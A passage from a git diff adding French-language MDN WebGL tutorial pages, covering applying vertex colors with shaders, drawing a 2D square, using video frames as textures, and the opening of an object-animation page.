+<p>Dans la <a href="/fr/docs/WebGL/Ajouter_du_contenu_à_WebGL" title="/fr/docs/WebGL/Ajouter_du_contenu_à_WebGL">démonstration précédente</a>, nous avons créé un carré 2D, la prochaine étape évidente consiste à lui appliquer de la couleur. Nous allons faire cela en révisant les nuanceurs.</p>
+
+<h2 id="Application_de_couleur_aux_sommets">Application de couleur aux sommets</h2>
+
+<p>En WebGL, les objets sont construits en utilisant des sommets, chacun d'entre eux ayant une position et une couleur ; par défaut, les couleurs des autres sommets (et tous leurs autres attributs, incluant leur position) sont calculés en utilisant une interpolation linéaire, créant ainsi automatiquement des dégradés. Précédemment, notre nuanceur de sommet n'appliquait aucunes couleurs spécifiques aux sommets ; entre cela et le fait que le nuanceur de fragment assignait la valeur blanche à chaque pixel, le carré entier était rendu en blanc uni.</p>
+
+<p>Supposons que nous voulions faire un rendu en dégradé dans lequel chaque coin du carré est de couleur différente : rouge, bleu, vert et blanc. La première chose à faire est de définir ces couleurs pour les quatre sommets. Pour ce faire, nous devons d'abord créer un tableau des couleurs des sommets, puis le stocker dans un tampon WebGL ; nous le ferons en ajoutant le code suivant à notre fonction <code>initBuffers()</code> :</p>
+
+<pre><code>  const colors = [
+    1.0,  1.0,  1.0,  1.0,    // blanc
+    1.0,  0.0,  0.0,  1.0,    // rouge
+    0.0,  1.0,  0.0,  1.0,    // vert
+    0.0,  0.0,  1.0,  1.0,    // bleu
+  ];
+
+  const colorBuffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, colorBuffer);
+  gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(colors), gl.STATIC_DRAW);
+
+  return {
+    position: positionBuffer,
+    color: colorBuffer,
+  };
+}</code></pre>
+
+<p>Ce code commence par créer un tableau JavaScript contenant des vecteurs à 4 valeurs, un pour chaque couleur de sommet. Un tampon WebGL est alors alloué pour stocker ces couleurs, et le tableau est converti en flottants et stocké dans le tampon.</p>
+
+<p>Pour que ces couleurs soient effectivement utilisées, le nuanceur de sommet doit être mis à jour pour extraire la couleur appropriée du tampon des couleurs :</p>
+
+<pre><code>  const vsSource = `
+    attribute vec4 aVertexPosition;
+    attribute vec4 aVertexColor;
+
+    uniform mat4 uModelViewMatrix;
+    uniform mat4 uProjectionMatrix;
+
+    varying lowp vec4 vColor;
+
+    void main(void) {
+      gl_Position = uProjectionMatrix * uModelViewMatrix * aVertexPosition;
+      vColor = aVertexColor;
+    }
+  `;</code></pre>
+
+<p>La différence clé est ici que, pour chaque sommet, nous passons sa couleur au nuanceur de fragment en utilisant un <code>varying</code>.</p>
+
+<h2 id="Coloriage_des_fragments">Coloriage des fragments</h2>
+
+<p>Pour mémoire, voici à quoi ressemblait précédemment notre nuanceur de fragment :</p>
+
+<pre><code>  const fsSource = `
+    void main() {
+      gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0);
+    }
+  `;</code></pre>
+
+<p>Afin de choisir la couleur interpolée pour chaque pixel, nous devons le changer pour récupérer la valeur depuis le varying <code>vColor</code> :</p>
+
+<pre><code>  const fsSource = `
+    varying lowp vec4 vColor;
+
+    void main(void) {
+      gl_FragColor = vColor;
+    }
+  `;</code></pre>
+
+<p>La principale différence ici c'est que pour chaque sommet, on assigne la valeur correspondant à sa couleur dans le tableau.</p>
+
+<h2 id="Dessiner_en_utilisant_les_couleurs">Dessiner en utilisant les couleurs</h2>
+
+<p>Ensuite, il est nécessaire d'ajouter le code recherchant les couleurs dans l'emplacement de l'attribut, et de configurer cet attribut pour le programme nuanceur :</p>
+
+<pre><code>  const programInfo = {
+    program: shaderProgram,
+    attribLocations: {
+      vertexPosition: gl.getAttribLocation(shaderProgram, 'aVertexPosition'),
+      vertexColor: gl.getAttribLocation(shaderProgram, 'aVertexColor'),
+    },
+    ...</code></pre>
+
+<p>Ensuite, <code>drawScene()</code> peut être modifié pour utiliser réellement ces couleurs lors du dessin du carré :</p>
+
+<pre><code>  // Indiquer à WebGL comment transférer les couleurs du tampon des couleurs
+  // dans l'attribut vertexColor.
+  {
+    const numComponents = 4;
+    const type = gl.FLOAT;
+    const normalize = false;
+    const stride = 0;
+    const offset = 0;
+    gl.bindBuffer(gl.ARRAY_BUFFER, buffers.color);
+    gl.vertexAttribPointer(
+        programInfo.attribLocations.vertexColor,
+        numComponents,
+        type,
+        normalize,
+        stride,
+        offset);
+    gl.enableVertexAttribArray(
+        programInfo.attribLocations.vertexColor);
+  }</code></pre>
+
+<p>{{EmbedGHLiveSample('webgl-examples/tutorial/sample3/index.html', 670, 510) }}</p>
+
+<p><a href="https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial/sample3">Voir le code complet</a> | <a href="http://mdn.github.io/webgl-examples/tutorial/sample3/">Ouvrir cette démo dans une nouvelle page</a></p>
+
+<p>{{PreviousNext("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context", "Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL")}}</p>
diff --git a/files/fr/web/api/webgl_api/tutorial/ajouter_du_contenu_à_webgl/index.html b/files/fr/web/api/webgl_api/tutorial/ajouter_du_contenu_à_webgl/index.html
new file mode 100644
index 0000000000..c7afe5f9ae
--- /dev/null
+++ b/files/fr/web/api/webgl_api/tutorial/ajouter_du_contenu_à_webgl/index.html
@@ -0,0 +1,307 @@
+---
+title: Ajouter du contenu à WebGL
+slug: Web/API/WebGL_API/Tutorial/Ajouter_du_contenu_à_WebGL
+tags:
+  - 3D
+  - API WebGL
+  - Graphismes
+  - Graphismes 2D
+  - Graphismes 3D
+  - Intermédiaire
+  - Shaders
+  - Tutoriel
+  - WebGL
+  - dessin
+translation_of: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context
+---
+<p>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL")}}</p>
+
+<p>Une fois que vous avez correctement <a title="Commencer avec le WebGL">créé un contexte WebGL</a>, vous pouvez commencer à y dessiner. Une chose simple que nous pouvons faire est de dessiner un simple carré 2D sans texture, commençons donc par là, en construisant un code pour dessiner un carré 2D.</p>
+
+<h2 id="Dessiner_la_scène">Dessiner la scène</h2>
+
+<p>La chose la plus importante à comprendre avant que nous ne commencions est que, bien que nous dessinions seulement un carré 2D dans cet exemple, nous sommes toujours en train de dessiner dans un espace 3D. Nous dessinons juste un carré et nous le mettons exactement en face de la caméra, perpendiculairement à la direction de vision. Nous avons besoin de définir les shaders qui créeront la couleur pour notre scène simple, et qui dessineront notre objet. Cela définira comment notre carré 2D apparaîtra à l'écran.</p>
+
+<h3 id="Les_shaders">Les shaders</h3>
+
+<p>Un shader est un programme, écrit en utilisant le <a class="external" href="https://www.khronos.org/files/opengles_shading_language.pdf" title="https://www.khronos.org/files/opengles_shading_language.pdf">OpenGL ES Shading Language</a> (GLSL), qui utilise les informations des sommets constituant une forme, et qui génère les données nécessaires pour faire un rendu des pixels à l'écran : nommément, les positions des pixels et leurs couleurs.</p>
+
+<p>Deux fonctions de shader sont exécutées lors du dessin d'un contenu WebGL : le <strong>shader  de sommet</strong> et le <strong>shader de fragment</strong>. Vous les écrivez en GLSL et vous passez le texte du code à WebGL pour qu'il soit compilé pour exécution dans la GPU. Pris conjointement, un ensemble de shaders de sommet et de fragment sont appelés un <strong>programme shader</strong>.</p>
+
+<p>Jetons un coup d'œil rapide aux deux types de shaders, en gardant présent à l'esprit l'exemple du dessin d'une forme 2D dans le contexte WebGL.</p>
+
+<h4 id="Le_shader_de_sommet">Le shader de sommet</h4>
+
+<p>Chaque fois qu'une forme est rendue, le shader de sommet est exécuté pour chaque sommet de la forme. Son travail consiste à effectuer les transformations souhaitées sur la position du sommet.</p>
+
+<p>Les informations de position sont stockées dans une variable spéciale fournie par GLSL, appelée <code>gl_Position</code>.</p>
+
+<p>Le shader de sommet peut, au besoin, aussi faire des choses comme déterminer les coordonnées dans la texture des faces du {{interwiki ("wikipedia", "texel")}} à appliquer au sommet, appliquer les normales pour déterminer le facteur d'éclairage à appliquer au sommet, et ainsi de suite. Ces informations peuvent alors être stockées dans des variations ou des attributs comme approprié, pour être partagées avec le shader de fragment.</p>
+
+<p>Notre shader de sommet ci-dessous reçoit des valeurs de position de sommet à partir d'un attribut que nous définissons, appelé <code>aVertexPosition</code>. Cette position est ensuite multipliée par deux matrices 4x4 que nous fournissons, appelées <code>uProjectionMatrix</code> et <code>uModelMatrix</code> ; <code>gl_Position</code> est définie comme étant le résultat. Pour plus d'informations sur la projection et autres matrices, <a href="https://webglfundamentals.org/webgl/lessons/webgl-3d-perspective.html">vous pourriez trouver cet article utile</a>.</p>
+
+<pre><code>// Programme shader de sommet
+
+const vsSource = `
+  attribute vec4 aVertexPosition;
+
+  uniform mat4 uModelViewMatrix;
+  uniform mat4 uProjectionMatrix;
+
+  void main() {
+    gl_Position = uProjectionMatrix * uModelViewMatrix * aVertexPosition;
+  }
+`;</code></pre>
+
+<p>Dans cet exemple, nous ne calculons pas d'éclairage du tout, puisque nous n'en avons pas encore appliqué à la scène. Cela viendra plus tard, dans l'exemple <a href="/fr-FR/docs/Web/API/WebGL_API/Tutorial/Lighting_in_WebGL">Éclairage en WebGL</a>. Notez également l'absence de tout travail sur les textures ici ; cela sera ajouté dans <a href="/fr-FR/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL">Utilisation de textures en WebGL</a>.</p>
+
+<h4 id="Le_shader_de_fragment">Le shader de fragment</h4>
+
+<p>Le <strong>shader de fragment</strong> est appelé une fois pour chaque pixel de chaque forme à dessiner, une fois que les sommets de la forme ont été traités par le shader de sommet. Son travail consiste à déterminer la couleur de ce pixel en déterminant quel texel (c'est-à-dire le pixel de la texture de la forme) appliquer au pixel, à obtenir la couleur de ce texel, puis à appliquer l'éclairage approprié à la couleur. La couleur est ensuite renvoyée à la couche WebGL en la stockant dans la variable spéciale <code>gl_FragColor</code>. Cette couleur est alors dessinée à l'écran dans la position correcte pour le pixel correspondant de la forme.</p>
+
+<p>Dans ce cas, nous retournons simplement du blanc à chaque fois, car nous sommes seulement en train de dessiner un carré blanc, sans éclairage.</p>
+
+<pre><code>  const fsSource = `
+    void main() {
+      gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0);
+    }
+  `;</code>
+</pre>
+
+<h3 id="Initialisation_des_shaders">Initialisation des shaders</h3>
+
+<p>Maintenant que nous avons défini les deux shaders, nous devons les transmettre à WebGL, les compiler et les lier ensemble. Le code ci-dessous crée les deux shaders en appelant <code>loadShader()</code>, lui passant le type et la source du shader. Il crée alors un programme, attache les shaders et les relie ensemble. Si la compilation ou la liaison échoue, le code affiche une alerte.</p>
+
+<pre><code>//
+// Initialiser un programme shader, de façon à ce que WebGL sache comment dessiner nos données
+//
+function initShaderProgram(gl, vsSource, fsSource) {
+  const vertexShader = loadShader(gl, gl.VERTEX_SHADER, vsSource);
+  const fragmentShader = loadShader(gl, gl.FRAGMENT_SHADER, fsSource);
+
+  // Créer le programme shader
+
+  const shaderProgram = gl.createProgram();
+  gl.attachShader(shaderProgram, vertexShader);
+  gl.attachShader(shaderProgram, fragmentShader);
+  gl.linkProgram(shaderProgram);
+
+  // Si la création du programme shader a échoué, alerte
+
+  if (!gl.getProgramParameter(shaderProgram, gl.LINK_STATUS)) {
+    alert('Impossible d'initialiser le programme shader : ' + gl.getProgramInfoLog(shaderProgram));
+    return null;
+  }
+
+  return shaderProgram;
+}
+
+//
+// Crée un shader du type fourni, charge le source et le compile.
+//
+function loadShader(gl, type, source) {
+  const shader = gl.createShader(type);
+
+  // Envoyer le source à l'objet shader
+
+  gl.shaderSource(shader, source);
+
+  // Compiler le programme shader
+
+  gl.compileShader(shader);
+
+  // Vérifier s'il a ét compilé avec succès
+
+  if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) {
+    alert('An error occurred compiling the shaders: ' + gl.getShaderInfoLog(shader));
+    gl.deleteShader(shader);
+    return null;
+  }
+
+  return shader;
+}</code></pre>
+
+<p>La fonction <code>loadShader()</code> prend en entrée le contexte WebGL, le type de shader et le code source, puis crée et compile le shader comme suit :</p>
+
+<ol>
+ <li>un nouveau shader est créé en appelant {{domxref("WebGLRenderingContext.createShader", "gl.createShader()")}} ;</li>
+ <li>le code source du shader est envoyé au shader en appelant {{domxref("WebGLRenderingContext.shaderSource", "gl.shaderSource()")}} ;</li>
+ <li>une fois que le shader a le code source, il est compilé en utilisant {{domxref("WebGLRenderingContext.compileShader", "gl.compileShader()")}} ;</li>
+ <li>pour vérifier que le shader a été compilé avec succès, le paramètre <code>gl.COMPILE_STATUS</code> du shader est vérifié ; pour obtenir sa valeur, nous appelons {{domxref("WebGLRenderingContext.getShaderParameter", "gl.getShaderParameter()")}}, en indiquant le shader et le nom du paramètre que nous voulons vérifier (<code>gl.COMPILE_STATUS</code>) ; si c'est <code>false</code>, nous savons que le shader n'a pas pu être compilé, aussi nous affichons une alerte avec les informations du journalisation obtenues du compilateur en utilisant {{domxref ("WebGLRenderingContext.getShaderInfoLog", "gl.getShaderInfoLog()")}}, puis nous supprimons le shader et nous renvoyons <code>null</code> pour indiquer l'échec du chargement du shader ;</li>
+ <li>si le shader a été chargé et compilé avec succès, le shader compilé est renvoyé à l'appelant.</li>
+</ol>
+
+<p>Pour utiliser ce code, nous l'appelons de la façon suivante :</p>
+
+<pre><code> const shaderProgram = initShaderProgram(gl, vsSource, fsSource);</code>
+</pre>
+
+<p>Après avoir créé un programme de shaders, nous devons rechercher les emplacements que WebGL a assignés à nos entrées. Dans ce cas, nous avons un attribut et deux uniformes. Les attributs reçoivent des valeurs des tampons. Chaque itération du shader des sommets reçoit la valeur suivante du tampon affecté à cet attribut. Les uniformes sont similaires aux variables globales JavaScript. Ils conservent la même valeur pour toutes les itérations d'un shader. Du fait que les attributs et les emplacements des uniformes sont spécifiques à un programme de shader donné, nous les stockerons ensemble pour les rendre plus faciles à transmettre.</p>
+
+<pre><code>  const programInfo = {
+    program: shaderProgram,
+    attribLocations: {
+      vertexPosition: gl.getAttribLocation(shaderProgram, 'aVertexPosition'),
+    },
+    uniformLocations: {
+      projectionMatrix: gl.getUniformLocation(shaderProgram, 'uProjectionMatrix'),
+      modelViewMatrix: gl.getUniformLocation(shaderProgram, 'uModelViewMatrix'),
+    },
+  };</code>
+</pre>
+
+<h2 id="Création_du_carré_2D">Création du carré 2D</h2>
+
+<p>Avant de pouvoir faire un rendu de notre carré 2D, nous devons créer le tampon qui contiendra les positions de ses sommets et y placer les positions des sommets. Nous ferons cela en utilisant une fonction que nous appelerons <code>initBuffers()</code> ; à mesure que nous explorerons des concepts WebGL plus avancés, cette routine sera augmentée pour créer plus d'objets 3D, et plus complexes.</p>
+
+<pre><code>function initBuffers(gl) {
+
+  // Créer un tampon des positions pour le carré.
+
+  const positionBuffer = gl.createBuffer();
+
+  // Définir le positionBuffer comme étant celui auquel appliquer les opérations
+  // de tampon à partir d'ici.
+
+  gl.bindBuffer(gl.ARRAY_BUFFER, positionBuffer);
+
+  // Créer maintenant un tableau des positions pour le carré.
+
+  const positions = [
+     1.0,  1.0,
+    -1.0,  1.0,
+     1.0, -1.0,
+    -1.0, -1.0,
+  ];
+
+  // Passer mainenant la liste des positions à WebGL pour construire la forme.
+  // Nous faisons cela en créant un Float32Array à partir du tableau JavaScript,
+  // puis en l'utilisant pour remplir le tampon en cours.
+
+  gl.bufferData(gl.ARRAY_BUFFER,
+                new Float32Array(positions),
+                gl.STATIC_DRAW);
+
+  return {
+    position: positionBuffer,
+  };
+}</code></pre>
+
+<p>Cette routine est assez simpliste du fait de la nature basique de la scène dans cet exemple. Elle commence par appeler la méthode {{domxref ("WebGLRenderingContext.createBuffer()", "createBuffer()")}} de l'objet gl pour obtenir un tampon dans lequel nous stockerons les positions des sommets. Ce dernier est ensuite lié au contexte en appelant la méthode {{domxref ("WebGLRenderingContext.bindBuffer()", "bindBuffer()")}}.</p>
+
+<p>Une fois que cela est fait, nous créons un tableau JavaScript contenant la position de chaque sommet du carré 2D. Ce dernier est ensuite converti en un tableau de flottants et transmis à la méthode {{domxref ("WebGLRenderingContext.bufferData()", "bufferData()")}} de l'objet <code>gl</code> pour définir les positions des sommets de l'objet.</p>
+
+<h2 id="Rendu_de_la_scène">Rendu de la scène</h2>
+
+<p>Une fois que les shaders sont définis, que les emplacements sont retrouvés, et que les positions des sommets du carré 2D sont stockées dans le tampon, nous pouvons faire effectivement le rendu de la scène. Puisque nous n'animons rien dans cet exemple, notre fonction <code>drawScene()</code> est très simple. Elle utilise quelques routines utilitaires que nous décrirons sous peu.</p>
+
+<div class="blockIndicator note">
+<p>Vous pourriez obtenir une erreur JavaScript indiquant <em>"mat4 n'est pas défini"</em>. Cela signifie qu'il existe une dépendance à <strong>glmatrix</strong>. Vous pouvez inclure <a href="https://mdn.github.io/webgl-examples/tutorial/gl-matrix.js">gl-matrix.js</a> pour résoudre ce problème, comme suggéré <a href="https://github.com/mdn/webgl-examples/issues/20">ici</a>.</p>
+</div>
+
+<pre><code>function drawScene(gl, programInfo, buffers) {
+  gl.clearColor(0.0, 0.0, 0.0, 1.0);  // effacement en noir, complètement opaque
+  gl.clearDepth(1.0);                 // tout effacer
+  gl.enable(gl.DEPTH_TEST);           // activer le test de profondeur
+  gl.depthFunc(gl.LEQUAL);            // les choses proches cachent les choses lointaines
+
+  // Effacer le canevas avant que nous ne commencions à dessiner dessus.
+
+  gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT);
+
+  // Créer une matrice de perspective, une matrice spéciale qui est utilisée pour
+  // simuler la distorsion de la perspective dans une caméra.
+  // Notre champ de vision est de 45 degrés, avec un rapport largeur/hauteur qui
+  // correspond à la taille d'affichage du canvas ;
+  // et nous voulons seulement voir les objets situés entre 0,1 unité et 100 unités
+  // à partir de la caméra.
+
+  const fieldOfView = 45 * Math.PI / 180;   // en radians
+  const aspect = gl.canvas.clientWidth / gl.canvas.clientHeight;
+  const zNear = 0.1;
+  const zFar = 100.0;
+  const projectionMatrix = mat4.create();
+
+  // note: glmatrix.js a toujours comme premier argument la destination
+  // où stocker le résultat.
+  mat4.perspective(projectionMatrix,
+                   fieldOfView,
+                   aspect,
+                   zNear,
+                   zFar);
+
+  // Définir la position de dessin comme étant le point "origine", qui est
+  // le centre de la scène.
+  const modelViewMatrix = mat4.create();
+
+  // Commencer maintenant à déplacer la position de dessin un peu vers là où
+  // nous voulons commencer à dessiner le carré.
+
+  mat4.translate(modelViewMatrix,     // matrice de destination
+                 modelViewMatrix,     // matrice de déplacement
+                 [-0.0, 0.0, -6.0]);  // quantité de déplacement
+
+  // Indiquer à WebGL comment extraire les positions à partir du tampon des
+  // positions pour les mettre dans l'attribut vertexPosition.
+  {
+    const numComponents = 2;  // extraire 2 valeurs par itération
+    const type = gl.FLOAT;    // les données dans le tampon sont des flottants 32bit
+    const normalize = false;  // ne pas normaliser
+    const stride = 0;         // combien d'octets à extraire entre un jeu de valeurs et le suivant
+                              // 0 = utiliser le type et numComponents ci-dessus
+    const offset = 0;         // démarrer à partir de combien d'octets dans le tampon
+    gl.bindBuffer(gl.ARRAY_BUFFER, buffers.position);
+    gl.vertexAttribPointer(
+        programInfo.attribLocations.vertexPosition,
+        numComponents,
+        type,
+        normalize,
+        stride,
+        offset);
+    gl.enableVertexAttribArray(
+        programInfo.attribLocations.vertexPosition);
+  }
+
+  // Indiquer à WebGL d'utiliser notre programme pour dessiner
+
+  gl.useProgram(programInfo.program);
+
+  // Définir les uniformes du shader
+
+  gl.uniformMatrix4fv(
+      programInfo.uniformLocations.projectionMatrix,
+      false,
+      projectionMatrix);
+  gl.uniformMatrix4fv(
+      programInfo.uniformLocations.modelViewMatrix,
+      false,
+      modelViewMatrix);
+
+  {
+    const offset = 0;
+    const vertexCount = 4;
+    gl.drawArrays(gl.TRIANGLE_STRIP, offset, vertexCount);
+  }
+}</code></pre>
+
+<p>La première étape consiste à effacer le canevas avec notre arrière plan ; ensuite, nous établissons la perspective de la caméra. Nous définissons un champ de vision de 45°, avec un rapport largeur sur hauteur qui correspond aux dimensions d'affichage de notre canevas. Nous indiquons également que seuls les objets situés entre 0,1 et 100 unités à partir de la caméra doivent être rendus.</p>
+
+<p>Ensuite, nous établissons la position du carré 2D en chargeant la position de l'origine et en nous déplaçant de 6 unités à partir de la caméra. Après cela, nous lions le tampon des sommets du carré à l'attribut que le shader utilise comme <code>aVertexPosition</code> et nous indiquons à WebGL comment en extraire les données. Enfin, nous dessinons l'objet en appelant la méthode {{domxref ("WebGLRenderingContext.drawArrays()", "drawArrays()")}}.</p>
+
+<p>{{EmbedGHLiveSample('webgl-examples/tutorial/sample2/index.html', 670, 510) }}</p>
+
+<p><a href="https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial/sample2">Voir le code complet</a> | <a href="http://mdn.github.io/webgl-examples/tutorial/sample2/">Ouvrir cette démo dans une nouvelle page</a></p>
+
+<h2 id="Opérations_utilitaires_matricielles">Opérations utilitaires matricielles</h2>
+
+<p>Les opérations matricielles peuvent sembler compliquées, mais <a href="https://webglfundamentals.org/webgl/lessons/webgl-2d-matrices.html">elles sont en fait assez simples si vous en prenez une à la fois</a>. En général, les gens utilisent une bibliothèque matricielle plutôt que d'écrire la leur. Dans notre cas, nous utilisons la bibliothèque populaire <a href="http://glmatrix.net/">glMatrix</a>.</p>
+
+<p>Voir aussi :</p>
+
+<ul>
+ <li>les <a href="https://webglfundamentals.org/webgl/lessons/webgl-2d-matrices.html">matrices</a> sur WebGLFundamentals ;</li>
+ <li>les <a href="http://mathworld.wolfram.com/Matrix.html">matrices</a> sur Wolfram MathWorld ;</li>
+ <li>l'article <a href="https://fr.wikipedia.org/wiki/Matrice_(math%C3%A9matiques)">matrice</a> sur Wikipedia.</li>
+</ul>
+
+<p>{{PreviousNext("Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL")}}</p>
diff --git a/files/fr/web/api/webgl_api/tutorial/animation_de_textures_en_webgl/index.html b/files/fr/web/api/webgl_api/tutorial/animation_de_textures_en_webgl/index.html
new file mode 100644
index 0000000000..1c9efb8966
--- /dev/null
+++ b/files/fr/web/api/webgl_api/tutorial/animation_de_textures_en_webgl/index.html
@@ -0,0 +1,144 @@
+---
+title: Animation de textures en WebGL
+slug: Web/API/WebGL_API/Tutorial/Animation_de_textures_en_WebGL
+tags:
+  - Media
+  - Tutoriel
+  - Video
+  - WebGL
+translation_of: Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL
+---
+<p>{{WebGLSidebar("Tutorial") }} {{Previous("Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}</p>
+
+<p>Dans cette démonstration, nous construisons sur l'exemple précédent en remplaçant nos textures statiques par les images d'un fichier vidéo mp4 en cours de lecture. C'est en fait assez facile à faire, mais c'est amusant à regarder, alors commençons. Un code similaire peut être réalisé pour utiliser n'importe quel type de données (comme un {{HTMLElement ("canvas")}}) comme source pour vos textures..</p>
+
+<h2 id="Accéder_à_la_vidéo">Accéder à la vidéo</h2>
+
+<p>La première étape consiste à créer l'élément {{HTMLElement("video")}} que nous utiliserons pour récupérer les images vidéo :</p>
+
+<pre class="brush: js">// sera mis à true quand la vidéo pourra être copiée dans la texture
+var copierVideo = false;
+
+function configurerVideo(url) {
+  const video = document.createElement('video');
+
+  var playing = false;
+  var timeupdate = false;
+
+  video.autoplay = true;
+  video.muted = true;
+  video.loop = true;
+
+  <code>// </code>Le fait d'attendre ces 2 évènements assure<code>
+  // </code>qu'il y a des données dans la vidéo
+
+  video.addEventListener('playing', function() {
+     playing = true;
+     verifierPret();
+  }, true);
+
+  video.addEventListener('timeupdate', function() {
+     timeupdate = true;
+     verifierPret();
+  }, true);
+
+  video.src = url;
+  video.play();
+
+  function verifierPret() {
+    if (playing &amp;&amp; timeupdate) {
+      copierVideo = true;
+    }
+  }
+
+  return video;
+}
+</pre>
+
+<p>D'abord, nous créons un élément vidéo. Nous le mettons en lecture automatique, nous coupons le son et nous faisons tourner la vidéo en boucle. Nous configurons ensuite 2 événements pour voir que la vidéo est en cours de lecture et que le temps a été mis à jour. Nous avons besoin de ces deux vérifications, car c'est une erreur que d'essayer de télécharger sur WebGL une vidéo qui n'a pas encore de données disponibles. La vérification de ces deux événements garantit que des données sont disponibles et que l'on peut démarrer en toute sécurité le chargement de la vidéo dans une texture WebGL. Dans le code ci-dessus, nous vérifions si nous avons reçu ces deux événements et si c'est le cas, nous mettons une variable globale, <code>copierVideo</code>, à true pour nous dire qu'il est possible de commencer à copier la vidéo dans une texture.</p>
+
+<p>Et enfin, nous définissons l'attribut <code>src</code> pour commencer, et nous appelons <code>play</code> pour démarrer le chargement et la lecture de la vidéo.</p>
+
+<h2 id="Utilisation_des_images_vidéo_comme_texture">Utilisation des images vidéo comme texture</h2>
+
+<p>La prochaine modification porte sur <code>initTexture()</code>, qui devient beaucoup plus simple, car elle n'a plus besoin de charger un fichier image. A la place, tout ce qu'elle fait est de créer un objet texture vide, d'y mettre un unique pixel et de définir son filtrage pour une utilisation ultérieure :</p>
+
+<pre class="brush: js">function initTexture(gl, url) {
+  const texture = gl.createTexture();
+  gl.bindTexture(gl.TEXTURE_2D, texture);
+
+<code>  // </code>Parce que la vidéo doit être téléchargée depuis sur Internet,<code>
+  // </code>cela peut prendre un certain temps jusqu'à ce qu'elle soit prête, donc<code>
+  // </code>mettre un seul pixel dans la texture, de façon à ce que nous puissions<code>
+  // </code>l'utiliser immédiatement.
+  const niveau = 0;
+  const formatInterne = gl.RGBA;
+  const largeur = 1;
+  const hauteur = 1;
+  const bordure = 0;
+  const formatSrc = gl.RGBA;
+  const typeSrc = gl.UNSIGNED_BYTE;
+  const pixel = new Uint8Array([0, 0, 255, 255]);  // bleu opaque
+  gl.texImage2D(gl.TEXTURE_2D, niveau, formatInterne,
+                largeur, hauteur, bordure, formatSrc, typeSrc,
+                pixel);
+
+  // Désactiver mips et définir l'emballage comme accroché au bord afin qu'il
+  // fonctionne indépendamment des dimensions de la vidéo.
+  gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE);
+  gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE);
+  gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR);
+
+  return texture;
+}
+</pre>
+
+<div>Voici à quoi ressemble la fonction <code>mettreAJourTexture()</code> ; c'est là où le vrai travail est fait :</div>
+
+<pre class="brush: js">function mettreAJourTexture(gl, texture, video) {
+  const niveau = 0;
+  const formatInterne = gl.RGBA;
+  const formatSrc = gl.RGBA;
+  const typeSrc = gl.UNSIGNED_BYTE;
+  gl.bindTexture(gl.TEXTURE_2D, texture);
+  gl.texImage2D(gl.TEXTURE_2D, niveau, formatInterne,
+                formatSrc, typeSrc, video);
+}
+</pre>
+
+<p>Vous avez déjà vu ce code. Il est presque identique à la fonction onload de l'image dans l'exemple précédent, sauf quand nous appellons <code>texImage2D()</code>, au lieu de passer un objet <code>Image</code>, nous passons l'élément {{HTMLElement ("video")}}. WebGL sait comment extraire l'image en cours et l'utiliser comme texture.</p>
+
+<p>Si <code>copierVideo</code> est true, alors <code>mettreAJourTexture()</code> est appelé à chaque fois juste avant que nous appellions la fonction <code>dessinerScene()</code>.</p>
+
+<pre class="brush: js">  var alors = 0;
+
+  // Dessiner la scène répétitivement
+  function dessiner(maintenant) {
+    maintenant *= 0.001;  // convertir en seconds
+    const ecartTemps = maintenant - alors;
+    alors = maintenant;
+
+    if (copierVideo) {
+      <code>mettreAJour</code>Texture(gl, texture, video);
+    }
+
+    dessinerScene(gl, programInfo, buffers, texture, ecartTemps);
+
+    requestAnimationFrame(dessiner);
+  }
+  requestAnimationFrame(dessiner);
+</pre>
+
+<p>C'est tout pour ce qu'il y a à faire pour cela !</p>
+
+<p>{{EmbedGHLiveSample('webgl-examples/tutorial/sample8/index.html', 670, 510) }}</p>
+
+<p><a href="https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial/sample8">Voir le code complet</a> | <a href="http://mdn.github.io/webgl-examples/tutorial/sample8/">Ouvrir cette démo dans une nouvelle page</a></p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/Using_HTML5_audio_and_video" title="En/Using audio and video in Firefox">Utilisation de l'audio et de la video dans Firefox</a></li>
+</ul>
+
+<p>{{Previous("Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}</p>
diff --git a/files/fr/web/api/webgl_api/tutorial/animer_des_objets_avec_webgl/index.html b/files/fr/web/api/webgl_api/tutorial/animer_des_objets_avec_webgl/index.html
new file mode 100644
index 0000000000..534d6ef995
--- /dev/null
+++ b/files/fr/web/api/webgl_api/tutorial/animer_des_objets_avec_webgl/index.html
@@ -0,0 +1,59 @@
+---
+title: Animer des objets avec WebGL
+slug: Web/API/WebGL_API/Tutorial/Animer_des_objets_avec_WebGL
+tags:
+  - Tutoriel
+  - WebGL
+translation_of: Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL
+---
+<p>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL", "Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL") }}</p>
+
+<p>Dans cet exemple, nous allons faire tourner notre carré 2D.</p>
+
+<h2 id="Faire_tourner_le_carré">Faire tourner le carré</h2>
+
+<p>Commençons par faire tourner le carré. La première chose dont nous avons besoin est une variable pour mémoriser la rotation courante du carré :</p>
+
